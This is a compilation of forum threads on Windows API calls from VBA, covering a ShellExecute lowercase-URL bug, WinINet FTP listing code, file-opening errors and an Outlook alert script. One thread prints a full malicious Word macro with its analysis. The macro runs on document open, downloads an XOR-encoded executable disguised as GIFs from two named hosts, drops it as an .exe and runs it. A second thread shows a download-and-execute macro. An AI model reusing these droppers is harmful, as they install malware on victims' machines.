VBA ShellExecute forces URL to lowercase - vba

This used to work last week. I suspect a Windows update broke something. When using ShellExecute, it is forcing the URLs into lowercase, breaking parameter values passed to a case-sensitive server!
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
Optional ByVal lpParameters As String, _
Optional ByVal lpDirectory As String, _
Optional ByVal nShowCmd As Long _
) As Long
Sub OpenBrowser()
Let RetVal = ShellExecute(0, "open", "http://yaHOO.com?UPPERCASE=lowercase")
Will open http://www.yahoo.com/?uppercase=lowercase
Version
I'm using Windows 8.1. I tried it in 3 browsers. Lowercase in Chrome, lowercase in IE, and Opera chops off the query parameter, but the host is lowercase.


Ok I solved it by creating a temporary HTML file, finding the executable associated with that, then launching the executable directly with the URL. Sheesh.
Private Const SW_SHOW = 5 ' Displays Window in its current size and position
Private Const SW_SHOWNORMAL = 1 ' Restores Window if Minimized or Maximized
Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
Optional ByVal lpParameters As String, _
Optional ByVal lpDirectory As String, _
Optional ByVal nShowCmd As Long _
) As Long
Private Declare Function FindExecutable Lib "shell32.dll" Alias "FindExecutableA" ( _
ByVal lpFile As String, _
ByVal lpDirectory As String, _
ByVal lpResult As String _
) As Long
Private Declare Function GetTempPath Lib "kernel32" _
Alias "GetTempPathA" ( _
ByVal nBufferLength As Long, _
ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib "kernel32" _
Alias "GetTempFileNameA" ( _
ByVal lpszPath As String, _
ByVal lpPrefixString As String, _
ByVal wUnique As Long, _
ByVal lpTempFileName As String) As Long
Public Function GetTempFileNameVBA( _
Optional sPrefix As String = "VBA", _
Optional sExtensao As String = "") As String
Dim sTmpPath As String * 512
Dim sTmpName As String * 576
Dim nRet As Long
Dim F As String
nRet = GetTempPath(512, sTmpPath)
If (nRet > 0 And nRet < 512) Then
nRet = GetTempFileName(sTmpPath, sPrefix, 0, sTmpName)
If nRet <> 0 Then F = Left$(sTmpName, InStr(sTmpName, vbNullChar) - 1)
If sExtensao > "" Then
Kill F
If Right(F, 4) = ".tmp" Then F = Left(F, Len(F) - 4)
F = F & sExtensao
End If
GetTempFileNameVBA = F
End If
End Function
Sub Test_GetTempFileNameVBA()
Debug.Print GetTempFileNameVBA("BR", ".html")
End Sub
Private Sub LaunchBrowser()
Dim FileName As String, Dummy As String
Dim BrowserExec As String * 255
Dim RetVal As Long
Dim FileNumber As Integer
FileName = GetTempFileNameVBA("BR", ".html")
FileNumber = FreeFile ' Get unused file number
Open FileName For Output As #FileNumber ' Create temp HTML file
Write #FileNumber, "<HTML> <\HTML>" ' Output text
Close #FileNumber ' Close file
' Then find the application associated with it
RetVal = FindExecutable(FileName, Dummy, BrowserExec)
Kill FileName ' delete temp HTML file
BrowserExec = Trim(BrowserExec)
' If an application is found, launch it!
If RetVal <= 32 Or IsEmpty(BrowserExec) Then ' Error
MsgBox "Could not find associated Browser", vbExclamation, "Browser Not Found"
Else
RetVal = ShellExecute(0, "open", BrowserExec, "http://www.yaHOO.com?case=MATTERS", Dummy, SW_SHOWNORMAL)
If RetVal <= 32 Then ' Error
MsgBox "Web Page not Opened", vbExclamation, "URL Failed"
End If
End If
End Sub


Use FileProtocolHandler instead of ShellExecute:
Public Declare Function FileProtocolHandler Lib "url.dll" _
Alias "FileProtocolHandlerA" (ByVal hwnd As Long, ByVal hinst As Long, _
ByVal lpszCmdLine As String, ByVal nShowCmd As Long) As Long
Public Sub OpenHyperlink(ByVal Url)
FileProtocolHandler 0, 0, Url, 1
End Sub
With FileProtocolHandler, the lowercase conversion does not occur.
I have this problem under Windows 8.1, but not under Windows 7.


In my case using a temp ".html" file wasn't an option because those are linked to gedit so i can edit them.
I can't say if it works on the domain part, but i needed case sensitivity for the GET parameters.
I accomplished that by simple encoding everything in hex. Not just characters like "/" but everything.

Related

FtpFindFirstFile always returns zero

I've hit a brick wall trying to get FTP working in Excel VBA (64-bit Office on 64-bit Windows 10). As an early proof of concept, I'm just trying to list the name of the single text file that I've uploaded to the FTP server.
The sub I'm running is ListFilesOnFTP. hOpen and hConnection both get set to handle values successfully by InternetOpen and InternetConnect respecitvely.
blReturn is set to True by FtpSetCurrentDirectory, indicating that this is not failing.
The problem I have is in EnumFiles - no matter what combination of wildcards I use for lpszSearchfile, FtpFindFirstFile always returns zero, and therefore EnumFiles exits immediately.
Obviously I have provided placeholder values below for strFTPServerIP, strUsername, strPassword and strRemoteDirectory, but I am 100% certain that the IP address and credentials are correct, and that the directory with the provided name does exist under the root of the FTP server.
Any ideas where I'm going wrong here?
Relevant constant and type declarations:
Private Const MAX_PATH As Integer = 260
Private Const INTERNET_FLAG_RELOAD = &H80000000
Private Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Private Const INTERNET_DEFAULT_FTP_PORT = 21
Private Const INTERNET_SERVICE_FTP = 1
Private Const INTERNET_FLAG_PASSIVE = &H8000000
Private Const INTERNET_NO_CALLBACK = 0
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Relevant wininet.dll function declarations (please note - I do have these wrapped in the usual #If VBA7 Then... #Else... #End If conditional compilation structures, with 32-bit compatible declarations in the else clause, but for brevity I have only provided the PtrSafe functions here):
Private Declare PtrSafe Function InternetCloseHandle Lib "wininet.dll" ( _
ByVal hInet As LongPtr) As LongPtr
Private Declare PtrSafe Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" ( _
ByVal sAgent As String, _
ByVal lAccessType As LongPtr, _
ByVal sProxyName As String, _
ByVal sProxyBypass As String, _
ByVal lFlags As LongPtr) As LongPtr
Private Declare PtrSafe Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" ( _
ByVal hInternetSession As LongPtr, _
ByVal sServerName As String, _
ByVal nServerPort As LongPtr, _
ByVal sUsername As String, _
ByVal sPassword As String, _
ByVal lService As LongPtr, _
ByVal lFlags As LongPtr, _
ByVal lContext As LongPtr) As LongPtr
Private Declare PtrSafe Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" ( _
ByVal hFtpSession As LongPtr, _
ByVal lpszDirectory As String) As Boolean
Private Declare PtrSafe Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" ( _
ByVal hFtpSession As LongPtr, _
ByVal lpszCurrentDirectory As String, _
ByVal lpdwCurrentDirectory As LongPtr) As LongPtr
Private Declare PtrSafe Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" ( _
ByVal hFtpSession As LongPtr, _
ByVal lpszSearchFile As String, _
ByRef lpFindFileData As WIN32_FIND_DATA, _
ByVal dwFlags As LongPtr, _
ByVal dwContent As LongPtr) As LongPtr
Procedures using the above:
Public Sub EnumFiles(ByVal hConnection As LongPtr)
Dim pData As WIN32_FIND_DATA
#If VBA7 Then
Dim hFind As LongPtr, lRet As LongPtr
#Else
Dim hFind As Long, lRet As Long
#End If
' Create a buffer
pData.cFileName = String(MAX_PATH, vbNullChar)
' Find the first file
hFind = FtpFindFirstFile(hConnection, "*.*", pData, INTERNET_FLAG_RELOAD Or INTERNET_FLAG_NO_CACHE_WRITE, 0)
' If there's no file, then exit sub
If hFind = 0 Then Exit Sub
' Show the filename
MsgBox Left$(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Do
' Create a buffer
pData.cFileName = String(MAX_PATH, vbNullChar)
' Find the next file
lRet = InternetFindNextFile(hFind, pData)
' If there's no next file, exit loop
If lRet = 0 Then Exit Do
' Show the filename
MsgBox Left$(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Loop
' Close the search handle
InternetCloseHandle hFind
End Sub
Public Sub ListFilesOnFTP()
#If VBA7 Then
Dim hOpen As LongPtr, hConnection As LongPtr
#Else
Dim hOpen As Long, hConnection As Long
#End If
Dim blReturn As Boolean
Dim strFTPServerIP As String, strUsername As String, strPassword As String, _
strRemoteDirectory As String
strFTPServerIP = "12.345.678.901"
strUsername = "username"
strPassword = "password"
strRemoteDirectory = "directory_name/"
' Open an internet connection
hOpen = InternetOpen("FTP", _
INTERNET_OPEN_TYPE_PRECONFIG, _
vbNullString, _
vbNullString, _
0)
hConnection = InternetConnect( _
hOpen, _
strFTPServerIP, _
INTERNET_DEFAULT_FTP_PORT, _
strUsername, _
strPassword, _
INTERNET_SERVICE_FTP, _
INTERNET_FLAG_PASSIVE, _
INTERNET_NO_CALLBACK)
blReturn = FtpSetCurrentDirectory(hConnection, strRemoteDirectory)
Call EnumFiles(hConnection)
InternetCloseHandle hConnection
InternetCloseHandle hOpen
End Sub
Cross-posted here: excelforum.com
And here: mrexcel.com

So I gave up on this idea a couple of weeks ago, got rid of the FTP server I'd created, and had resolved to rethinking my approach to the problem I was trying to solve with FTP.
But... although my original FTP server is now long gone, I just made some changes to the API declarations after some advice from elsewhere about the datatypes of arguments to API calls not necessarily having to be LongPtrs (depends if the API function expects a Long), and then went looking for a test FTP server - found one here: https://dlptest.com/ftp-test/
Connected to it in File Explorer, used netstat -abno in command prompt to find the 'foreign address' with port 21 at the end of it, and used that IP in my code, along with the credentials listed on the webpage above.
And then boom...
immediate window output
actual directory content
As you can see, FtpGetCurrentDirectory doesn't like one of the parameters I'm passing it (a quick Google suggests that's what LastDllError code 87 means), but FtpSetCurrentDirectory obviously did run OK (the directory was set successfully)... so the hFtpSession argument being a LongPtr can't be a huge problem (or it is a problem for FtpGetCurrentDirectory, but weirdly not for FtpSetCurrentDirectory).
I tried changing all the parameters in the PtrSafe declarations to Longs, but because some of them are LongPtrs returned by other API calls, to get the code to compile I had to relent and put some parameters back to being LongPtrs.
So either the changes to the API declarations worked, or there was a problem with the previous FTP server that I got rid of which caused FtpFindFirstFile to fail.
Anyway... my working code in full (bear in mind that because this is an open test FTP server, the directories which exist on there are changing all the time... the one in my code below and in the screenshots above is now no longer there!! Just connect to it via File Explorer or FileZilla first to get the name of a directory which currently exists, and set strRemoteDirectory in ListFilesOnFTP to that):
Option Explicit
Private Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Private Const FTP_TRANSFER_TYPE_ASCII = &H1
Private Const FTP_TRANSFER_TYPE_BINARY = &H2
Private Const INTERNET_SERVICE_FTP = 1
Private Const INTERNET_SERVICE_HTTP = 3
Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0 ' use registry configuration
Private Const INTERNET_OPEN_TYPE_DIRECT = 1 ' direct to net
Private Const INTERNET_OPEN_TYPE_PROXY = 3 ' via named proxy
Private Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4 ' prevent using java/script/INS
Private Const INTERNET_CONNECTION_CONFIGURED = &H40
Private Const INTERNET_CONNECTION_LAN = &H2
Private Const INTERNET_CONNECTION_MODEM = &H1
Private Const INTERNET_CONNECTION_OFFLINE = &H20
Private Const INTERNET_CONNECTION_PROXY = &H4
Private Const INTERNET_RAS_INSTALLED = &H10
Private Const INTERNET_INVALID_PORT_NUMBER = 0
Private Const INTERNET_DEFAULT_FTP_PORT = 21
Private Const INTERNET_DEFAULT_GOPHER_PORT = 70
Private Const INTERNET_DEFAULT_HTTP_PORT = 80
Private Const INTERNET_DEFAULT_HTTPS_PORT = 443
Private Const INTERNET_DEFAULT_SOCKS_PORT = 1080
Private Const INTERNET_NO_CALLBACK = 0
Private Const INTERNET_FLAG_PASSIVE = &H8000000 ' used for FTP connections
Private Const INTERNET_FLAG_RELOAD = &H80000000
Private Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
Private Const MAX_PATH As Integer = 260
Private Const GENERIC_READ = &H80000000
Private Const MAXDWORD As Double = (2 ^ 32) - 1
Private Const ERROR_NO_MORE_FILES = 18&
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
#If Win64 Then
Private Declare PtrSafe Function InternetGetConnectedState Lib "wininet.dll" ( _
ByRef dwFlags As Long, ByVal dwReserved As Long) As LongPtr
Private Declare PtrSafe Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" ( _
ByVal lpszUrl As String, _
ByVal dwFlags As Long, _
ByVal dwReserved As Long) As Boolean
Private Declare PtrSafe Function InternetCloseHandle Lib "wininet.dll" ( _
ByVal hInet As LongPtr) As LongPtr
Private Declare PtrSafe Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" ( _
ByVal sAgent As String, _
ByVal lAccessType As Long, _
ByVal sProxyName As String, _
ByVal sProxyBypass As String, _
ByVal lFlags As Long) As LongPtr
Private Declare PtrSafe Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" ( _
ByVal hInternetSession As LongPtr, _
ByVal sServerName As String, _
ByVal nServerPort As Long, _
ByVal sUsername As String, _
ByVal sPassword As String, _
ByVal lService As Long, _
ByVal lFlags As Long, _
ByVal lContext As Long) As LongPtr
Private Declare PtrSafe Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" ( _
ByVal hFtpSession As LongPtr, _
ByVal lpszDirectory As String) As Boolean
Private Declare PtrSafe Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" ( _
ByVal hFtpSession As LongPtr, _
ByVal lpszCurrentDirectory As String, _
ByVal lpdwCurrentDirectory As LongPtr) As Boolean
Private Declare PtrSafe Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" ( _
ByVal lpdwError As Long, _
ByVal lpszBuffer As String, _
ByVal lpdwBufferLength As Long) As Boolean
Private Declare PtrSafe Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" ( _
ByVal hFtpSession As LongPtr, _
ByVal lpszSearchFile As String, _
ByRef lpFindFileData As WIN32_FIND_DATA, _
ByVal dwFlags As Long, _
ByVal dwContent As Long) As LongPtr
Private Declare PtrSafe Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" ( _
ByVal hFind As LongPtr, _
ByRef lpFindData As WIN32_FIND_DATA) As LongPtr
#Else
Private Declare Function InternetGetConnectedState Lib "wininet.dll" ( _
ByRef dwflags As Long, ByVal dwReserved As Long) As Long
Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" ( _
ByVal lpszUrl As String, _
ByVal dwFlags As Long, _
ByVal dwReserved As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" ( _
ByVal hInet As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" ( _
ByVal sAgent As String, _
ByVal lAccessType As Long, _
ByVal sProxyName As String, _
ByVal sProxyBypass As String, _
ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" ( _
ByVal hInternetSession As Long, _
ByVal sServerName As String, _
ByVal nServerPort As Integer, _
ByVal sUserName As String, _
ByVal sPassword As String, _
ByVal lService As Long, _
ByVal lFlags As Long, _
ByVal lContext As Long) As Long
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" ( _
ByVal hFtpSession As Long, _
ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" ( _
ByVal hFtpSession As Long, _
ByVal lpszCurrentDirectory As String, _
lpdwCurrentDirectory As Long) As Boolean
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" ( _
lpdwError As Long, _
ByVal lpszBuffer As String, _
lpdwBufferLength As Long) As Boolean
Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" ( _
ByVal hFtpSession As Long, _
ByVal lpszSearchFile As String, _
lpFindFileData As WIN32_FIND_DATA, _
ByVal dwFlags As Long, _
ByVal dwContent As Long) As Long
Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" ( _
ByVal hFind As Long, _
lpFindData As WIN32_FIND_DATA) As Long
#End If
Public Sub EnumFiles(ByVal hConnection As LongPtr)
Dim pData As WIN32_FIND_DATA
#If Win64 Then
Dim hFind As LongPtr, lRet As LongPtr
#Else
Dim hFind As Long, lRet As Long
#End If
' Create a buffer
pData.cFileName = String(MAX_PATH, vbNullChar)
' Find the first file
hFind = FtpFindFirstFile(hConnection, "*.*", pData, INTERNET_FLAG_RELOAD Or INTERNET_FLAG_NO_CACHE_WRITE, 0)
' If there's no file, then exit sub
If hFind = 0 Then Exit Sub
' Show the filename
Debug.Print vbNewLine & "FILES FOUND:" & vbNewLine & Left$(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Do
' Create a buffer
pData.cFileName = String(MAX_PATH, vbNullChar)
' Find the next file
lRet = InternetFindNextFile(hFind, pData)
' If there's no next file, exit loop
If lRet = 0 Then Exit Do
' Show the filename
Debug.Print Left$(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Loop
' Close the search handle
InternetCloseHandle hFind
End Sub
Public Sub ListFilesOnFTP()
#If Win64 Then
Dim hOpen As LongPtr, hConnection As LongPtr, lngCurrentDirLength As LongPtr
#Else
Dim hOpen As Long, hConnection As Long, lngCurrentDirLength As Long
#End If
Dim fConnectionTestFlags As Long
Dim blCheckConnection As Boolean
Dim blCheckGetDirSuccess As Boolean, blCheckSetDirSuccess As Boolean
Dim strFTPServerIP As String, strUsername As String, strPassword As String
Dim strRemoteDirectory As String, strCurrentDirectory As String
strFTPServerIP = "35.163.228.146"
strUsername = "dlpuser"
strPassword = "rNrKYTX9g7z3RgJRmxWuGHbeu"
strRemoteDirectory = "File"
' Open an internet connection
hOpen = InternetOpen("FTP Client", _
INTERNET_OPEN_TYPE_DIRECT, _
vbNullString, _
vbNullString, _
0)
hConnection = InternetConnect( _
hOpen, _
strFTPServerIP, _
INTERNET_DEFAULT_FTP_PORT, _
strUsername, _
strPassword, _
INTERNET_SERVICE_FTP, _
INTERNET_FLAG_PASSIVE, _
INTERNET_NO_CALLBACK)
blCheckConnection = InternetCheckConnection(strFTPServerIP, 0, 0)
If blCheckConnection Then
InternetGetConnectedState fConnectionTestFlags, 0
' Debug.Print "INTERNET_CONNECTION_CONFIGURED = " & CBool((fConnectionTestFlags And INTERNET_CONNECTION_CONFIGURED) > 0)
' Debug.Print "INTERNET_CONNECTION_LAN = " & CBool((fConnectionTestFlags And INTERNET_CONNECTION_LAN) > 0)
' Debug.Print "INTERNET_CONNECTION_MODEM = " & CBool((fConnectionTestFlags And INTERNET_CONNECTION_MODEM) > 0)
' Debug.Print "INTERNET_CONNECTION_OFFLINE = " & CBool((fConnectionTestFlags And INTERNET_CONNECTION_OFFLINE) > 0)
' Debug.Print "INTERNET_CONNECTION_PROXY = " & CBool((fConnectionTestFlags And INTERNET_CONNECTION_PROXY) > 0)
' Debug.Print "INTERNET_RAS_INSTALLED = " & CBool((fConnectionTestFlags And INTERNET_RAS_INSTALLED) > 0)
blCheckSetDirSuccess = FtpSetCurrentDirectory(hConnection, strRemoteDirectory)
Debug.Print "Set current directory successful = " & blCheckSetDirSuccess
If blCheckSetDirSuccess Then
' Create buffer
strCurrentDirectory = String(MAX_PATH, vbNullChar)
blCheckGetDirSuccess = FtpGetCurrentDirectory(hConnection, strCurrentDirectory, lngCurrentDirLength)
If blCheckGetDirSuccess Then
Debug.Print "Current directory = " & strCurrentDirectory
Else
Debug.Print "Get current directory call failed - " & GetError
Debug.Print "LastDllError code = " & Err.LastDllError
End If
Call EnumFiles(hConnection)
End If
End If
InternetCloseHandle hConnection
InternetCloseHandle hOpen
End Sub
Private Function GetError() As String
Dim lngErrorCode As Long, strError As String, lngBufferLength As Long
Dim blGetInfoSuccess As Boolean
' Get the required buffer size
InternetGetLastResponseInfo lngErrorCode, strError, lngBufferLength
' Create a buffer
strError = String(lngBufferLength, 0)
' Retrieve the last response info
blGetInfoSuccess = InternetGetLastResponseInfo(lngErrorCode, strError, lngBufferLength)
If blGetInfoSuccess Then
GetError = "Error code " & CStr(lngErrorCode) & ": " & strError
Else
GetError = "error information could not be retrieved"
End If
End Function

Shell execute Return 2 and not open file

I have a routine in which I try to open some files with any extension txt, pdf, doc, xls, ... that I always worked now when I try to open the
Filename = " 8_20190311144227. jpg "
When passed a string variable I don't open if the string insert directly into the open the file opens
in the first case the return = 2 in the second return = 42
This routine that I use:
Private Const SW_SHOWMAXIMIZED = 3
Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long _
) As Long
Public Sub OpenFile(by val FileName As String, stPath As String)
'ShellExecute 0, "Open", FileName, "", "", 1
Dim result As Long, hwnd As Long
hwnd = GetActiveWindow&
result = ShellExecute(hwnd, "Open", FileName, "", stPath, SW_MAXIMIZE)
'FileName= "8_20190311144227.jpg"
End Sub
Grazie per l'aiuto

A spammer/attacker/bad person sent an MS word doc that contained a big macro. Can someone understand what this macro does?

Sample context to let stack over flow post this question.
Here he tries to combine its working for mac and windows I suppose.
#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
this attacker seems to open this doc.
Sub Document_Open()
Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte
#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If
What is this doing?
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
Is this supposed to damage my computer?
DoEvents
DoEvents
DoEvents
DoEvents
wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If
If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos
Call duwif(mufid())
Dont know what this is doing
wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"
bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
cleverly written unreadable code.
Public Function lwyfu() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = Uhdwuud(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
lwyfu = wefkg
End If
End Function
another function
Public Sub duwif(mufid() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(mufid) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = mufid(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve mufid(bvjwi - 267)
End Sub
end of the macro

The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)
55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd
Several anti-virus providers flag this file as malware and an automated analysis shows some suspicious behavior.
VirusTotal.com Report
Hybrid-Analysis.com Report

Macro VBA Code Shell Invalad procedure call or argument

I am trying to make a macro that download and execute file. Here's the code:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Sub AAA()
Dim SourceName As String
Dim Destination As String
Dim R As Long
SourceName = "http://localhost/files/pay.vbs"
Destination = "C:\users\david\ex.vbs"
R = URLDownloadToFile(0&, SourceName, Destination, 0&, 0&)
Shell "C:\users\david\ex.vbs", vbNormalFocus
End Sub
It gives me error: Invalid procedure call or argument

Visual Basic Compile Error - Invalid Character

I got a VB SCRIPT off the internet to create new mail alerts for secondary email accounts in Outlook(2010).
Now this is the first part of the code, and when running Outlook, it gives me the following error:
"Compile Error: Invalid Character"
The debugger underlines the _ character in the following line: "sndPlaySoundA" _
'On the next line change the file name and path of the sound you want to play.'
Public Const SOUND_TO_PLAY = "C:\Windows\Media\Speech On.wav"
Public Const SND_ASYNC = &H1
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _
(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long Public Declare Function MessageBox _
Lib "User32" Alias "MessageBoxA" _
(ByVal hWnd As Long, _
ByVal lpText As String, _
ByVal lpCaption As String, _
ByVal wType As Long) _
As Long
Function OpenOutlookFolder(strFolderPath As String) As Outlook.MAPIFolder
' Purpose: Opens an Outlook folder from a folder path.'
' Written: 4/24/2009'
' Author: BlueDevilFan'
' Outlook: All versions'
Dim arrFolders As Variant, _
varFolder As Variant, _
bolBeyondRoot As Boolean
On Error Resume Next
If strFolderPath = "" Then
Set OpenOutlookFolder = Nothing
Else
Do While Left(strFolderPath, 1) = "\"
strFolderPath = Right(strFolderPath, Len(strFolderPath) - 1)
Loop
arrFolders = Split(strFolderPath, "\")
For Each varFolder In arrFolders
Select Case bolBeyondRoot
Case False
Set OpenOutlookFolder = Outlook.Session.Folders(varFolder)
bolBeyondRoot = True
Case True
Set OpenOutlookFolder = OpenOutlookFolder.Folders(varFolder)
End Select
If Err.Number <> 0 Then
Set OpenOutlookFolder = Nothing
Exit For
End If
Next
End If
On Error GoTo 0
End Function
UPDATE: A new error has risen: (After I fixed the New line issue on line 1 after "sndPlaySoundA") as refered to by Adrian below)
"Compile Error Expected: End of statement" and the following word is highlighted: "Public"
UPDATE2: Next error:
